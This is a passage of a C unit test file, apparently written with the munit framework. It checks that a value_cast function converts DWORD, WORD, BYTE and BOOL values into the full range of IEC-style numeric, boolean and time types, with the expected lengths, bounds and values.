munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_DWORD
value_initialise(&sValue);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_DWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_WORD
value_initialise(&sValue);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_WORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_BYTE
value_initialise(&sValue);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_BYTE, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_BOOL
value_initialise(&sValue);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_BOOL, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
